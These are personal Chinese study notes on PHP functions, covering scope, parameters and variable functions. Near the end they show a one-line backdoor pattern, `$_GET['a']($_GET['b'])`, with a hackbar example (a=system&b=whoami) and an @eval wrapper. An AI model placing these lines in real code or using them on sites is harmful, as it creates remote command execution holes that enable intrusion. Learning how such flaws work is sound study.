注:个人笔记,并不全面,仅供参考
函数就是可以完成固定功能的语句或语句集合,可以重复调用。
function 函数名(形式参数1,形式参数2...){
//函数体
return 返回值
}
函数名()
定义一个简单的函数:
// funtion.php
function test(){
echo "This is function ".__FUNCTION__;
}
test(); //此处括号可以当作一个运算符
// function.php
function add($x, $y){
$sum = $x + $y;
return $sum; //返回值
}
echo add(10, 3);
函数的调用,函数名加上小括号。
function a(){
echo "This is func ".__FUNCTION__."
";
}
function b(){
echo __FUNCTION__." is starting...
";
a();
echo __FUNCTION__." is stopped!
";
}
b();
局部变量,就是在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。
// function.php
function get_name(){
$username = "ZS";
echo "My name is {$username}";
}
get_name();
echo $username; // Notice: Undefined variable: username
全局变量是在脚本中,函数或类的外部定义的变量。
// function.php
$username = "ZS";
function get_name(){
echo "My name is {$username}";
}
get_name(); // Notice: Undefined variable: username
注意:PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与JavaScript 和Python 不同。
可以有如下变通方法:
$username = "ZS";
function get_name($username){
echo "My name is {$username}";
}
get_name($username);
// function.php
$username = "ZS";
function get_name(){
global $username;
echo "My name is {$username}";
}
get_name();
默认传参方式。
function add($x, $y){
$sum = $x + $y;
return $sum;
}
echo add(10, 3);
对形参的操作,不会改变实参的值。
可以给形式参数设置默认值,设置方法很简单直接赋值即可!
给函数默认值的时候,全都给。
function add($x = 0, $y = 0){
$sum = $x + $y;
return $sum;
}
// echo add(); // 0
// echo add(10, 3); // 13
echo add(10); // 10
可变函数也叫变量函数,动态函数,函数名可以动态设置和调用,变量()
。这是PHP 特性之一,这种特性通常会被攻击者所利用。
直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。
function a(){
echo "This is function a";
}
function b(){
echo "This is function b";
}
// a();
// b();
// $func_name = "b";
$func_name = ($_GET['func_name']);
$func_name(); //
括号可以理解为运算符 // a();
// b();
// phpinfo();
通过可变函数实际上可以调用任意PHP 函数。
$_GET['a']($_GET['b']);
//在hackbar的URL中输入a=system&b=whoami,括号可以调用前面的,开启后门
可变函数不能用于,例如echo,print,unset(),isset(),empty(),include,require,eval 等类似的语言结构。
可以使用自己的包装函数来将这些结构用作可变函数。
function e($code){
@eval($code);
}
// @符号是把错误都屏蔽掉
$_GET['a']($_GET['b']);
内部(内置)函数,PHP 提供许多现成的函数或者语言结构,可以直接使用。
具体,可以参考 PHP手册。